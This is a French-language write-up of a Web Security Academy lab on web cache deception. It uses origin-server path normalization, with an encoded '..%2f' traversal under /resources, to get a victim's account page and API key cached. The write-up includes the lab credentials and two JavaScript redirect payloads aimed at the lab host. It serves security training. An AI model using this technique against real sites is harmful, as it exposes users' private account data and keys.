Tromper le cache via la normalisation côté serveur d’origine

Exploiting origin server normalization for web cache deception

Lab: Exploiting origin server normalization for web cache deception | Web Security AcademyWebSecAcademy

Objectif du lab

Récupérer la clé API de l’utilisateur carlos en abusant d’un comportement de cache déclenché par une normalisation d’URL effectuée par le serveur d’origine.

Accès

• Connexion possible avec : wiener:peter

• Une liste de délimiteurs est fournie par le lab (delimiter list), mais ici l’attaque repose surtout sur ../ et l’encodage.

1) Observation

• Dans le répertoire /resources, on constate qu’il y a une mise en cache active.

• L’idée est donc de faire passer une page sensible (/my-account) pour une ressource “cachable”, en utilisant une traversée de chemin qui sera normalisée par le serveur d’origine.

Exemple testé :

/resources/../my-account

2) Exploitation

Idée

1. Forcer la victime à charger une URL qui commence par /resources/ (pour déclencher le cache).

2. Revenir vers /my-account via ../ (ou sa variante encodée).

3. Stocker la réponse dans le cache sous une clé “cachable”, puis récupérer ensuite la page cachée.

<script>
document.location = "https://0ad700ba030812cd804d126b00d800a7.web-security-academy.net/resources/../my-account/?jordan";
</script>

D’après tes tests : ça ne marche pas dans cet état

3) Contournement : encoder le retour arrière

Tu indiques qu’il faut URL-encoder le séparateur pour que la normalisation côté origine fonctionne correctement.

URL utilisée :

/resources/..%2fmy-account?jordan

Payload final :

<script>
document.location = "https://0ad700ba030812cd804d126b00d800a7.web-security-academy.net/resources/..%2fmy-account?jordan";
</script>

Résultat : le serveur interprète l’URL comme prévu (normalisation), ce qui permet de poursuivre l’attaque de cache